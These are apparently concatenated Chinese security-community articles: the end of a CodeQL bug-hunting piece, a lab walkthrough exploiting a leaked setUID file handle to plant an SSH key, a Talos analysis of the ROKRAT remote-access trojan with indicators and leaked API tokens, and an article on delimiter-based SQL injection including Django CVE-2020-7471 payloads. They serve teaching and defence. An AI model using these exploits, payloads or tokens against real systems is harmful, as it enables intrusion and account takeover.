neuter(buf); // neuter `buf` by e.g. posting it to a web worker
gc(); // trigger garbage collection
return 0;
};
vulnerableFunction(arr, param);
因此我们在查询中寻找的具体模式应该是：从`GetTypedArrayBuffer`获得一个指针，然后调用一些可以执行JS的`chakra`函数，之后就可以使用指针了。
对于数组缓冲区指针，我们匹配到了`GetTypedArrayBuffer`的调用，其第二个参数（`getArgument`的调用是零索引的）是一个地址的表达式（`＆`），并采用了它的操作数：
class TypedArrayBufferPointer extends Expr {
TypedArrayBufferPointer() {
exists(Call c | c.getTarget().getName() = "GetTypedArrayBuffer" and
this = c.getArgument(1).(AddressOfExpr).getOperand())
}
}
逻辑量词`exists`的作用是引入一个新的变量（c）。
`chakra`有许多API函数可用于JavaScript重入。相比于定义它们的名字，我们更希望鉴别出`chakra`内部用于实现这个功能的函数，并使用查询以从调用表中将其挖掘出来。
// examine call graph to match any function that may eventually call MethodCallToPrimitive
predicate mayExecJsFunction(Function f) {
exists(Function g | f.calls+(g) and g.hasName("MethodCallToPrimitive")
}
// this defines a call to any of the above functions
class MayExecJsCall extends FunctionCall {
MayExecJsCall() {
mayExecJsFunction(this)
}
}
调用谓语后面的"+"指定了一个 _传递闭包_ \- 它将谓词应用于自身，直到匹配到为止。这可以允许对函数调用表进行一个简明的探查。
最后，查询语句和这些QL类的定义在控制流中联系到一起。
from TypedArrayBufferPointer def, MayExecJsCall call, VariableAccess use, Variable v
where v.getAnAccess() = def
and v.getAnAccess() = use
and def.getASuccessor+() = call
and call.getASuccessor+() = use
select use,
"Call to " + call + " between definition " + def + " and use " + use
`getASuccessor()`的谓语指定了在控制流中的下一个声明或者表达式。因此，使用例如`call.getASuccessor+() =
use`将跟随调用的控制流图，直到匹配到`use`为止。如下图：
这个查询发现了原始漏洞的四个变体，都是紧急漏洞。
以上就是全部内容。下一篇文章将介绍使用QL进行数据流分析和污点追踪，以及我们对Azure固件组件的安全性审查中的示例。 | 社区文章 |
# setUID程序中的继承文件句柄利用
|
##### 译文声明
本文是翻译文章，文章来源：labs.portcullis.co.uk
原文地址：<https://labs.portcullis.co.uk/blog/exploiting-inherited-file-handles-in-setuid-programs/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在这篇文章中，我们将研究渗透和安全工作者在setUID程序中发现的许多安全问题之一。对于子进程来说，继承父进程中打开的文件句柄是相当常见的(虽然有避免这种情况的方法)。在某些情况下，这可能会出现安全缺陷。这就是我们将在Linux上的setUID程序的环境中看到的内容。
最近我在处理一个黑客挑战题时想起了这个技术，还有一个比使用我将在这里介绍的技术简单得多的解决方案。大家也许可以尝试两种方法：一种是比较难的方式，另一种是简单的。
## 示例程序
下面是一个非常简短的示例代码测试用例-参考了nebula challenge的代码。
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <stdio.h>
int main(int argc, char **argv)
{
char *cmd = argv[1];
char tmpfilepath[] = "/tmp/tmpfile"; // Modern systems need "sysctl fs.protected_symlinks=0" or "chmod 0777 /tmp" for this to be vulnerable to the symlink attack we'll use later.
char data[] = "pointless datan";
int fd = open(tmpfilepath, O_CREAT|O_RDWR, 0600);
unlink(tmpfilepath);
write(fd, data, strlen(data));
setuid(getuid());
system(cmd);
}
让我们从编译这个代码开始，并设置setUID，完成初始准备：
root@challenge:/# useradd -m tom # victim/target user
root@challenge:/# useradd -m bob # attacker
root@challenge:/# cd ~bob
root@challenge:/home/bob# cp /share/fd-leak.c .
root@challenge:/home/bob# gcc -o fd-leak fd-leak.c
root@challenge:/home/bob# chown tom:tom fd-leak
root@challenge:/home/bob# chmod 4755 fd-leak
root@challenge:/home/bob# ls -l fd-leak
-rwsr-xr-x 1 root root 8624 Apr 12 11:06 fd-leak
root@challenge:/home/bob# su - bob
bob@challenge:~$ ./fd-leak id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
为了接下来的利用，我们还需要目标用户(在本例中是tom)在主目录中有一个.ssh文件夹：
root@challenge:/# mkdir ~tom/.ssh; chown tom:tom ~tom/.ssh
这个程序在实际使用方面存在不足但贵在简单。
## 正常操作
从上面的代码可以看出，程序将：
1. 创建/tmp/tmpfile文件，然后删除它。保留文件描述符。
2. 取消权限。这段用于取消权限有些糟糕，不过对于这个例子来说足够了。
3. 运行作为参数提供的命令。它应该作为调用用户运行，而不是作为目标用户(Tom)运行。
让我们试一下(注意，为了在生成shell子进程时使读者更清楚地了解它，我修改了.bashrc)：
root@challenge:/home/bob# su - bob
bob@challenge:~$ ./fd-leak id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
bob@challenge:~$ echo 'echo subshell...' > .bashrc
bob@challenge:~$ ./fd-leak id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
bob@challenge:~$ ./fd-leak bash -p
subshell...
bob@challenge:~$ id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
root@challenge:/home/bob# useradd -m tom
root@challenge:/home/bob# su - tom
$ mkdir .ssh
$ ls -la
total 28
drwxr-xr-x 3 tom tom 4096 Apr 12 11:42 .
drwxr-xr-x 2 tom tom 4096 Apr 12 11:42 .ssh
...
所以，fd-leak似乎取消了权限。(我们生成的shell并不对权限负责，我希望通过将-p传递到bash上面并直接运行id能说明这一点)。
最后，我们期望子进程继承/tmp/tmpfile的文件句柄：
bob@challenge:~$ ls -l /proc/self/fd
total 0
lrwx------ 1 bob bob 64 Apr 12 11:22 0 -> /dev/pts/2
lrwx------ 1 bob bob 64 Apr 12 11:22 1 -> /dev/pts/2
lrwx------ 1 bob bob 64 Apr 12 11:22 2 -> /dev/pts/2
lrwx------ 1 bob bob 64 Apr 12 11:22 3 -> '/tmp/tmpfile (deleted)'
lr-x------ 1 bob bob 64 Apr 12 11:22 4 -> /proc/53982/fd
可以看到，的确是这样的。
## 更高级的方法
我们攻击这个程序的方法将遵循这些高级步骤，这些步骤将在下面几节中更详细地介绍：
1. 创建一个符号链接（symlink），代码将尝试写入该符号链接。这样，我们可以在我们选择的位置创建一个文件，并使用我们选择的名称。我们将选择~tom/.ssh/authorized_keys
2. 我们将在子进程的环境中运行一些代码来操作打开的文件句柄，这样就可以编写authorized_keys文件的内容。
3. 最后通过SSH登录。
## 实际开发
### 步骤1：符号链接（symlink）攻击
简单的:
ln -s ~tom/.ssh/authorized_keys /tmp/tmpfile
这一步在nebula挑战中更加困难，但我不想把问题弄混。
如果我们现在运行代码，我们会看到已创建authorized_keys文件，但我们不控制内容。
bob@challenge:~$ ls -l ~tom/.ssh/authorized_keys
-rw------- 1 tom bob 15 Apr 12 12:12 /home/tom/.ssh/authorized_keys
bob@challenge:~$ ln -s ~tom/.ssh/authorized_keys /tmp/tmpfile
ln: failed to create symbolic link '/tmp/tmpfile': File exists
bob@challenge:~$ ls -l /tmp/tmpfile
lrwxrwxrwx 1 bob bob 30 Apr 12 12:11 /tmp/tmpfile -> /home/tom/.ssh/authorized_keys
bob@challenge:~$ ./fd-leak id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
bob@challenge:~$ ls -l ~tom/.ssh/authorized_keys
-rw------- 1 tom bob 15 Apr 12 12:12 /home/tom/.ssh/authorized_keys
我们也不控制创建文件的权限。(在运行“umask 0”以进行检查之后，可以在authorized_keys2上尝试上面的操作)。
### 步骤2：在子进程中运行代码
运行代码很容易。再次说明，这在星云挑战中更加困难。我们可以看到我们希望在/proc/self/fd中列出的文件句柄。文件描述符3：
bob@challenge:~$ ln -s ~tom/.ssh/authorized_keys /tmp/tmpfile
bob@challenge:~$ ls -l /tmp/tmpfile
lrwxrwxrwx 1 bob bob 30 Apr 12 12:25 /tmp/tmpfile -> /home/tom/.ssh/authorized_keys
bob@challenge:~$ ./fd-leak bash
subshell...
bob@challenge:~$ ls -l /proc/self/fd
total 0
lrwx------ 1 bob bob 64 Apr 12 12:26 0 -> /dev/pts/1
lrwx------ 1 bob bob 64 Apr 12 12:26 1 -> /dev/pts/1
lrwx------ 1 bob bob 64 Apr 12 12:26 2 -> /dev/pts/1
lrwx------ 1 bob bob 64 Apr 12 12:26 3 -> /home/tom/.ssh/authorized_keys
lr-x------ 1 bob bob 64 Apr 12 12:26 4 -> /proc/54947/fd
所以我们只能“echo key >
/proc/self/fd/3”？不是，那只是个符号链接，一个指向不存在的文件的符号链接。它指向的是一个我们没有权限创建文件的地方。让我们确认一下？
bob@challenge:~$ ls -l /home/tom/.ssh/authorized_keys
-rw------- 1 tom bob 15 Apr 12 12:25 /home/tom/.ssh/authorized_keys
bob@challenge:~$ id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
bob@challenge:~$ echo > /home/tom/.ssh/authorized_keys
bash: /home/tom/.ssh/authorized_keys: Permission denied
bob@challenge:~$ echo > /tmp/tmpfile
bash: /tmp/tmpfile: Permission denied
bob@challenge:~$ echo > /proc/self/fd/3
bash: /proc/self/fd/3: Permission denied
我们需要写入文件描述符3…那么，是否有CAT版本支持文件描述符呢？就我所知没有，让我们编写一些小实用程序来帮助我们掌握对继承文件句柄的访问。我们将编写3个工具：
* read-使用读函数从特定的文件描述符读取一组字节数。
* write-将我们选择的字符串写入特定的文件描述符。
* lseek-这样我们就可以知道读/写的位置
下面是(非常简单的)演示的代码：
bob@challenge:~$ cat read.c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char buf[1024];
memset(buf, 0, 1024);
int r = read(atoi(argv[1]), buf, 10);
printf("Read %d bytesn", r);
write(1, buf, 10);
}
bob@challenge:~$ gcc -o read read.c
bob@challenge:~$ cat write.c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
printf("writing %s to fd %sn", argv[2], argv[1]);
write(atoi(argv[1]), argv[2], strlen(argv[2]));
}
bob@challenge:~$ gcc -o write write.c
bob@challenge:~$ cat lseek.c
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
printf("seek to position %s on fd %sn", argv[2], argv[1]);
lseek(atoi(argv[1]), atoi(argv[2]), SEEK_SET);
}
bob@challenge:~$ gcc -o lseek lseek.c
先看看这些工具的作用。首先，我们尝试读取，然后写入文件描述符3，但是读取总是返回0字节：
bob@challenge:~$ ./read 3
Read 0 bytes
bob@challenge:~$ ./write 3 hello
writing hello to fd 3
bob@challenge:~$ ./read 3
Read 0 bytes
原因是我们需要在文件中查找一个不是文件末尾的位置。让我们查找位置0，即文件的开头：
bob@challenge:~$ ./lseek 3 0
seek to position 0 on fd 3
bob@challenge:~$ ./read 3
Read 10 bytes
pointless bob@challenge:~$ ./read 3
Read 10 bytes
data
hellobob@challenge:~$ ./read 3
Read 0 bytes
现在好多了。
最后，我们需要利用上述程序。我们有两个选择：
* 像以前一样运行shell，然后使用我们的新工具将密钥写入授权键；或者，
* 使用上面的函数来编写一个新的工具来写入授权的键。
我们选择前者。大家可以试试后者作为练习。请注意，在写入数据之前，我们需要寻找位置0。重要的一点是要覆盖已经存在的“pointless”消息，因为它破坏了authorized_keys文件：
bob@challenge:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/bob/.ssh/id_rsa): bobkey
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in bobkey.
Your public key has been saved in bobkey.pub.
bob@challenge:~$ cat bobkey.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2PezJjFSI778OvONA5aqfM2Y2d0eYizOkcqTimy7dXfaEhSKnRSRyfwOfwOOaVpLdZW9NmfaPd5G8RY3n+3QwDIPv4Aw5oV+5Q3C3FRG0oZoe0NqvcDN8NeXZFbzvcWqrnckKDmm4gPMzV1rxMaRfFpwjhedyai9iw5GtFOshGZyCHBroJTH5KQDO9mow8ZxFKzgt5XwrfMzvBd+Mf7kE/QtD40CeoNP+GsvNZESxMC3pWfjZet0p7Jl1PpW9zAdN7zaQPH2l+GHzvgPuZDgn+zLJ4CB69kGkibEeu1c1T80dqDDL1DkN1+Kbmop9/5gzOYsEmvlA4DQC6nO9NCTb bob@challenge
bob@challenge:~$ ls -l bobkey.pub
-rw-r--r-- 1 bob bob 387 Apr 12 12:30 bobkey.pub
bob@challenge:~$ ./lseek 3 0
seek to position 0 on fd 3
bob@challenge:~$ ./write 3 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2PezJjFSI778OvONA5aqfM2Y2d0eYizOkcqTimy7dXfaEhSKnRSRyfwOfwOOaVpLdZW9NmfaPd5G8RY3n+3QwDIPv4Aw5oV+5Q3C3FRG0oZoe0NqvcDN8NeXZFbzvcWqrnckKDmm4gPMzV1rxMaRfFpwjhedyai9iw5GtFOshGZyCHBroJTH5KQDO9mow8ZxFKzgt5XwrfMzvBd+Mf7kE/QtD40CeoNP+GsvNZESxMC3pWfjZet0p7Jl1PpW9zAdN7zaQPH2l+GHzvgPuZDgn+zLJ4CB69kGkibEeu1c1T80dqDDL1DkN1+Kbmop9/5gzOYsEmvlA4DQC6nO9NCTb bob@challenge'
writing ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2PezJjFSI778OvONA5aqfM2Y2d0eYizOkcqTimy7dXfaEhSKnRSRyfwOfwOOaVpLdZW9NmfaPd5G8RY3n+3QwDIPv4Aw5oV+5Q3C3FRG0oZoe0NqvcDN8NeXZFbzvcWqrnckKDmm4gPMzV1rxMaRfFpwjhedyai9iw5GtFOshGZyCHBroJTH5KQDO9mow8ZxFKzgt5XwrfMzvBd+Mf7kE/QtD40CeoNP+GsvNZESxMC3pWfjZet0p7Jl1PpW9zAdN7zaQPH2l+GHzvgPuZDgn+zLJ4CB69kGkibEeu1c1T80dqDDL1DkN1+Kbmop9/5gzOYsEmvlA4DQC6nO9NCTb bob@challenge to fd 3
### 步骤3：通过SSH登录
bob@challenge:~$ ssh -i bobkey tom@localhost
$ id
uid=1002(tom) gid=1002(tom) groups=1002(tom)
我们完成了。我们利用泄露的文件描述符将我们选择的数据写入目标用户（在本例是tom）的authorized_keys文件。在这个过程中，我们使用了一种有点不切实际的符号链接攻击，但这并不会使我们关于如何使用和滥用泄漏的文件描述符的讨论无效。
## 结论
黑客挑战很有趣。即使是你不小心找到了一个更难的解决方案，并且浪费的时间比需要的长10倍。
编写安全的setUID程序可能很困难，特别是在生成子进程时，或者在其他用户可写的目录中使用open()时。 users.
fs.protected_symlinks为设置了粘滞位(sticky bit)的文件夹提供了一些缓解措施。
审核人：yiwang 编辑：边边 | 社区文章 |
# 【木马分析】使用云平台的ROKRAT木马分析
|
##### 译文声明
本文是翻译文章，文章来源：talosintelligence.com
原文地址：<http://blog.talosintelligence.com/2017/04/introducing-rokrat.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**一、前言**
几周前，Talos实验室发表了一篇韩国恶意文档的[研究报告](http://blog.talosintelligence.com/2017/02/korean-maldoc.html)。正如我们之前讨论的一样，这个攻击者反应很快，及时调整了攻击轨迹，抹掉了受害主机上的痕迹。我们认为攻击者在任何一次攻击活动中使用的控制服务器活动时长不超过几个小时。最近我们又捕获了一个新的攻击活动，使用了是韩国常用的恶意Word文档（HWP文档），文档的攻击载荷是一款远控工具，我们称之为ROKRAT。
与之前的文章类似，攻击活动以钓鱼邮件开始，包含一个HWP文档的恶意附件。其中一个样本邮件是从首尔延世私立大学邮件服务器发出的，邮件地址是“[email protected]”，为韩国全球论坛的联系邮箱，“2016”可能指的是“朝鲜半岛的和平统一”，这些字符是想增加该电子邮件地址的合理性和信誉度。
这个HWP文档包含一个嵌入式EPS对象（Embedded Encapsulated
PostScript，EPS是用PostScript语言封装的一种文件格式），也是一种zlib压缩文件。攻击者使用EPS是为了利用已知漏洞（CVE-2013-0808）下载伪装为jpg图片的二进制文件。二进制文件解码后为ROKRAT远控工具，这个工具以合法的网站作为其命令控制服务器以增加复杂性。这些网站包括Twitter以及Yandex、Mediafire这两个云平台，不幸的是这些平台的使用一般不会被阻拦，因为它们在大多数情况下都是用于合法用途。此外，这三个平台使用的都是HTTPS协议，这样安全人员更加难以识别攻击行为中的特征模式和特征令牌。
**二、钓鱼邮件**
下图是针对韩国发送的钓鱼邮件样本：
我们所捕获的第一封邮件最为有趣。在这个样本中，我们观察到攻击者在邮件中感谢用户接受加入“韩国统一与朝鲜问题会议”这个小组，邮件表示用户应该填写文档内容并提交反馈。然而，这个会议是个冒牌会议，与之最为贴近的是2017年1月份举办的[NYDA统一会议](https://nkleadershipwatch.wordpress.com/2017/01/19/nyda-reunification-joint-conference-held/)。邮件发送者是“[email protected]”，这是[韩国全球论坛](http://www.kgforum.kr/)的联系邮箱。
查看邮件头部，我们发现邮件发送者IP是“165.132.10.103”，通过“nslookup”命令可知该IP属于延世大学的一个SMTP服务器。我们认为该邮箱被攻击者盗用，借此发送钓鱼邮件。
样本文件名翻译过来就是“统一北韩会议_调查问卷”，邮件内容又再次强调了统一会议这个主题。此外，攻击者暗示收件人在填写文档并反馈后将会获得一些“小费”，也许恶意软件就是那个“小费”。
我们捕获的第二封邮件就没那么用心了。该邮件使用了Daum（Hanmail的前身）邮件服务商提供的免费邮件，与之前的相比，该邮件并没有试图伪装成来自官方机构或个人的邮件，而是使用了简单的“请求帮助”主题，文档附件名为“我是一名来自朝鲜江原道文川市的人”。我们怀疑攻击者想借此博得受害者的同情，因为江原道以前曾是韩国领土的一部分。附件内容讲述了一个名为“Ewing
Kim”的人正在寻求帮助的故事。
邮件的附件使用了两个不同的HWP文档，但利用都是CVE-2013-0808这个漏洞。
**三、恶意HWP文档**
这个HWP文档由OLE对象组成。在本文样例中，该文档包含一个名为BIN0001.eps的EPS对象。由于HWP文档的信息使用了zlib压缩，因此你需要解压“.eps”对象来获得真正的shellcode。
我们可以从EPS对象中找到利用CVE-2013-0808漏洞的shellcode：
shellcode以0x0404开始，而不是以标准的NOP指令（0x90）开始：
user@lnx$ rasm2 -d 0404040404040404040490909090909090909090E8000000005E
add al, 0x4
add al, 0x4
add al, 0x4
add al, 0x4
add al, 0x4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
call 0x19
pop esi
这两个HWP文档中的shellcode目的是下载并解码互联网上的一个载荷。载荷为二进制可执行文件。以下是文档所使用的一些样本信息：
SHA256: 7d163e36f47ec56c9fe08d758a0770f1778fa30af68f39aac80441a3f037761e
文件名: 통일북한학술대회_심사서류.hwp ("朝鲜会议_调查问卷")
URL: http://discgolfglow[.]com:/wp-content/plugins/maintenance/images/worker.jpg
SHA256: 5441f45df22af63498c63a49aae82065086964f9067cfa75987951831017bd4f
文件名: 저는요 북조선 강원도 문천 사람이에요.hwp (“我是一名来自朝鲜江原道文川市的人”)
URL: http://acddesigns[.]com[.]au/clients/ACPRCM/kingstone.jpg
**四、木马分析**
这两个文档所下载的木马都属于同一族群，主要区别是所使用的命令与控制服务器，其中一个使用了Twitter作为C2服务器，另一个使用了Yandex和Mediafire这两个云平台，两个样本都包含同一个Twitter令牌。
**（一）反分析策略**
ROKRAT作者使用了常见的几种技术来对抗人工分析和避免在沙箱内执行。
首先，恶意软件不在Windows XP系统上运行，它使用GetVersion() API判断操作系统版本，如果主版本号为5，就执行无限循环sleep：
此外，恶意软件检查当前运行进程，以便识别安全软件或沙箱环境，如以下代码：
恶意软件检查受害者主机上的进程名，查看是否包含包含关键词，关键词列表如下：
"mtool"代表VMWare Tools
"llyd"代表OllyDBG
"ython"代表Python (Cuckoo等沙箱使用这个工具)
"ilemo"代表File Monitor
"egmon"代表Registry Monitor
"peid"代表PEiD
"rocex"代表Process Explorer
"vbox"代表VirtualBox
"iddler"代表Fiddler
"ortmo"代表Portmon
"iresha"代表Wireshark
"rocmo"代表Process Monitor
"utoru"代表Autoruns
"cpvie"代表TCPView
如果执行中发现上述任一进程，恶意软件则会跳转到虚假函数中，产生虚假的HTTP流量。另外，如果恶意软件发现自己正被调试、不是通过HWP文档运行（比如使用双击运行）或者在父进程上成功使用OpenProcess()函数，那么恶意软件也会进入虚假处理流程。
恶意软件这么做似乎是为了产生网络流量以提供某种反馈机制，虚假处理流程使用了以下两个URL：
https://www[.]amazon[.]com/Men-War-PC/dp/B001QZGVEC/EsoftTeam/watchcom.jpg
http://www[.]hulu[.]com/watch/559035/episode3.mp4
第一个URL是一张“Men of War”的WII游戏图片，第二个URL是一部名为“Golden Time”的日本动漫视频。
这两个URL都没有恶意，作者使用这些URL来试图欺骗对其的安全分析。
**（二）C2架构**
ROKRAT使用合法平台作为C2服务器并接收指令。我们总共发现了12个硬编码令牌，通过这些平台的公共API进行通讯。
**1、使用Twitter作为C2服务器**
我们在样本中发现了7个不同的Twitter API令牌（包含Consumer Key、Consumer Secret、Token以及Token
Secret）。恶意软件检查Twitter时间线上的最后一条信息来接收指令，指令包括执行命令、移动文件、删除文件、终止进程、下载并执行文件。恶意软件也可以发布推文，推文以下面字符串中的随机三个字符开始：
SHA-TOM-BRN-JMS-ROC-JAN-PED-JHN-KIM-LEE-
恶意软件使用的是官方的Twitter API：
**2、使用Yandex作为C2服务器**
Yandex云平台允许用户在Yandex云中创建磁盘。对于这个C2服务器，我们在样本中找到了4个Yandex令牌。样本使用API来下载和执行文件，或者上传用户文档。文档上传地址为：
disk:/12ABCDEF/Document/Doc20170330120000.tfs
其中“12ABCDEF”是一个随机ID，用来标识受害主机，而“Doc20170330120000”则包含了时间信息。
**3、使用Mediafire作为C2服务器**
这个网站的使用方法与Yandex类似，目的在于使用Mediafire提供的文件存储功能，以便下载执行文件或上传用户文档：
样本中内置了一个Mediafire账户（邮箱、密码和应用ID）。
**（三）其他功能：屏幕截图和键盘记录**
此外，某个样本可以截取受害主机的屏幕，攻击者使用了GDI API来实现这一功能：
键盘记录中，恶意软件使用了SetWindowsHookEx()这个API拦截用户键盘输入，使用GetKeyNameText()
API来获取按键代表的字符，恶意软件同时提取了前台窗口的标题信息以便了解用户当前所处的输入窗口（使用GetForegroundWindow()以及GetWindowText()
API）。
**五、总结**
这次攻击活动中所使用了HWP（用户主要集中在韩国）文档，邮件和文档完全使用韩文撰写，这表明攻击者以韩语作为母语。
木马使用了新颖的通信渠道，包括Twitter和Yandex、Mediafire这两个云平台来发送命令、获取文件以及上传文件。这种通信渠道难以防范，因为这些平台基本都用于合法用途。恶意软件具备异常处理功能，例如它可以检测自身是否在沙箱中运行或者目标环境中是否存在安全分析工具，检测成功则会进入虚假处理流程并访问合法网站（Amazon和Hulu）。
这次攻击活动再次表明韩国仍是攻击者热衷的目标。本文案例中，攻击者使用了首尔某大学合法论坛的邮箱来发送钓鱼邮件，以提升攻击成功率。
**六、样本特征**
**（一）文件哈希**
HWP文档：
7d163e36f47ec56c9fe08d758a0770f1778fa30af68f39aac80441a3f037761e
5441f45df22af63498c63a49aae82065086964f9067cfa75987951831017bd4f
ROKRAT文件：
cd166565ce09ef410c5bba40bad0b49441af6cfb48772e7e4a9de3d646b4851c
051463a14767c6477b6dacd639f30a8a5b9e126ff31532b58fc29c8364604d00
**（二）网络特征**
恶意URL：
http://discgolfglow[.]com/wp-content/plugins/maintenance/images/worker.jpg
http://acddesigns[.]com[.]au/clients/ACPRCM/kingstone.jpg
非恶意URL：
https://www[.]amazon[.]com/Men-War-PC/dp/B001QZGVEC/EsoftTeam/watchcom.jpg
http://www[.]hulu[.]com/watch/559035/episode3.mp4
**（三）令牌特征**
MEDIAFIRE：
Account #1
Username: [email protected]
Application ID: 81342
TWITTER：
Account #1
Consumer key: sOPcUKjJteYrg8klXC4XUlk9l
Token: 722226174008315904-u6P1FlI7IDg8VIYe720X0gqDYcAMQAR
Account #2
Consumer key: sgpalyF1KukVKaPAePb3EGeMT
Token: 759577633630593029-CQzXMfvsQ2RztFYawUPeVbAzcSnwllX
Account #3
Consumer key: XVvauoXKfnAUm2qdR1nNEZqkN
Token: 752302142474051585-r2TH1Dk8tU5TetUyfnw9c5OgA1popTj
Account #4
Consumer key: U1AoCSLLHxfeDbtxRXVgj7y00
Token: 779546496603561984-Qm8CknTvS4nKxWOB4tJvbtBUMBfNCKE
Account #5
Consumer key: 9ndXAB6UcxhQVoBAkEKnwzt4C
Token: 777852155245080576-H0kXYcQCpV6qiFER38h3wS1tBFdROcQ
Account #6
Consumer key: QCDXTaOCPBQM4VZigrRj2CnJi
Token: 775849572124307457-4ICTjYmOfAy5MX2FxUHVdUfqeNTYYqj
Account #7
Consumer key: 2DQ8GqKhDWp55XIl77Es9oFRV
Token: 778855419785154560-0YUVZtZjKblo2gTGWKiNF67ROwS9MMq
YANDEX：
Token #1: AQAAAAAYm4qtAANss-XFfX3FjU8VmVR76k4aMA0
Token #2: AQAAAAAA8uDKAANxExojbqps-UOIi8kc8EAhcq8
Token #3: AQAAAAAY9j8KAANyULDuYU1240rjvpNXcRdF5Tw
Token #4: AQAAAAAZDPB1AAN6l1Ht3ctALU1flix57TvuMa4 | 社区文章 |
## 0x01 前言
前一段时间在p 师傅的小密圈中看到了他分享的定界符安全以及一则 Django 的安全修复公告，趁着有时间，对定界符相关的安全问题学习了一波。
## 0x02 定界符
定界符从其字面意义上来说就是限制界限的符号，假设我们设置定界符为`//`，那么`//panda//`的意思就是告诉计算机，从第一个`//`开始，到`panda`字符串，再到后一个`//`结束。定界符在很多语言中都有不同的形式，有的时候定界符可以是分隔符、也有可能是注释符。如在
php 中使用`<<<`作为定界符；在MySQL 中默认语句定界符为`;` ，在 python 中，定界符如下表：
( | ) | [ | ] | { | }
---|---|---|---|---|---
, | : | . | ` | = | ;
+= | -= | *= | /= | //= | %=
&= | \ | = | ^= | >>= | <<= | **=
可见定界符的运用还是比较广泛的，但也正是如此，造成了相关的安全漏洞。
## 0x03 定界符引起相关安全问题的实例
### 1、绕过验证
假设有一段PHP代码如下：
SELECT * FROM Users WHERE ((Username ='$username') AND (Password=MD5('$password')))
通过这行代码我们很容易看出这是用来登陆判断的代码，但是如果这里没有对输入数据进行特殊字符检测，特别是定界符的检测，那么就可能导致绕过登陆验证。在上述实例中，我们令：
username = 1' or '1' = '1')) /*
password = test
因此传入到该 SQL语句 中应该是：
SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password')))
这样一来让语句始终保证为真，即可绕过登陆验证。
### 2、提升权限
可以参考漏洞：[CVE-2003-1350](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1350)
，如果程序对于用户注册信息过滤不严格，并且可以使用该程序的定界数据库的符号，那么就可能导致权限的提升。在这个漏洞中，List Site Pro使用了
`|`来定界数据库，并且没有对输入数据进行定界符检查，因此用户输入相关数据后，就可以修改任意账户的密码。
非独有偶。在Poster V2中也出现过类似漏洞，Poster
V2有个文件叫`mem.php`，专门用于存储用户字段（用户名，密码，电子邮件地址和特权），负责管理应用程序用户，如下是该文件的示例：
<? panda|12345678|[email protected]|admin| test|5211314|[email protected]|normal| ?>
panda 是管理员，test 为普通用户，当用户编辑其个人资料时，使用`index.php`页面中的“编辑帐户”选项并输入其登录信息即可。
从上述文件示例中我们可以知道该文件使用的定界符是`|`，如果当我们编辑资料的时候，没有对编辑后的内容进行过滤，那么就可以通过编辑后的内容将其特权提升为管理员。如下：
Username: test Password: 5211314 Email: [email protected] |admin|
那么当该信息存储到`mem.php`文件中时，就会变成：
test|5211314|[email protected]|admin|normal|
从而达到提升权限的目的。当然，这种将用户字段信息存储在文件中的程序基本上没了，但是这种思路还是可以借鉴。
### 3、SQL 注入
最典型的例子就是 Django 的 SQL 注入了（CVE-2020-7471），2020年2月3日Django
发布安全公告说`django.contrib.postgres.aggregates.StringAgg`聚合函数存在漏洞，只要设计好定界符，那么就能进行SQL注入，找到该函数
：
class StringAgg(OrderableAggMixin, Aggregate):
function = 'STRING_AGG'
template = "%(function)s(%(distinct)s%(expressions)s, '%(delimiter)s'%(ordering)s)"
allow_distinct = True
def __init__(self, expression, delimiter, **extra):
super().__init__(expression, delimiter=delimiter, **extra)
def convert_value(self, value, expression, connection):
if not value:
return ''
return value
相关文档的对该函数的解释：
class StringAgg(expression, delimiter)
Returns the input values concatenated into a string, separated by the delimiter string.
返回连接到字符串中的输入值，该字符串由定界符字符串分隔。
delimiter
Required argument. Needs to be a string.
必填参数，且是一个字符串。
简单来说该函数就是由用户输入一个定界符，然后将查询出或者输入的值使用我们自定义的那个定界符连接起来。
比如我设置定界符为`-`，数据表如下：
uid | username | private
---|---|---
1 | panda | admin
2 | test | normal
3 | hello | normal
4 | world | normal
若以 private 列查询，并将 username 列聚合，结果在 django 中显示为：
{'private':'admin','username':'panda'}
{'private':'normal','username':'test-hello-world'}
根据官方的说法，存在特定的定界符能够导致注入，经过 fuzzing 可以确定为单引号，当我们设置定界符为单引号时，会出现错误：
查询语句如下：
SELECT "test_sql_userinfo"."private", STRING_AGG("test_sql_userinfo"."username", \'\'\') AS "username" FROM "test_sql_userinfo" GROUP BY "test_sql_userinfo"."private"
可以看到我们传入的定界符被转义成了`\'`，该段字符串传入到 postgres中为：
SELECT "test_sql_userinfo"."private", STRING_AGG("test_sql_userinfo"."username", ''') AS "username" FROM "test_sql_userinfo" GROUP BY "test_sql_userinfo"."private"
由于三个单引号的出现，导致 sql 语法出错，并且我们可以知道，我们设置的定界符是传入到了 SQL 语句中的，那么只要设置好定界符，就可能导致注入。
下面就可以演示此漏洞：
我们定义一个数据库为 `django_sql`
有表`test_sql_userinfo`，内容如下：
有表`sql_admin`，内容如下：
正常情况下，我们令定界符为：`-`，返回结果如下：
但如果我们设置定界符为：`') AS "uname" FROM "test_sql_admin" group by
"test_sql_admin"."id"--`
返回结果如下：
成功注入出其他数据
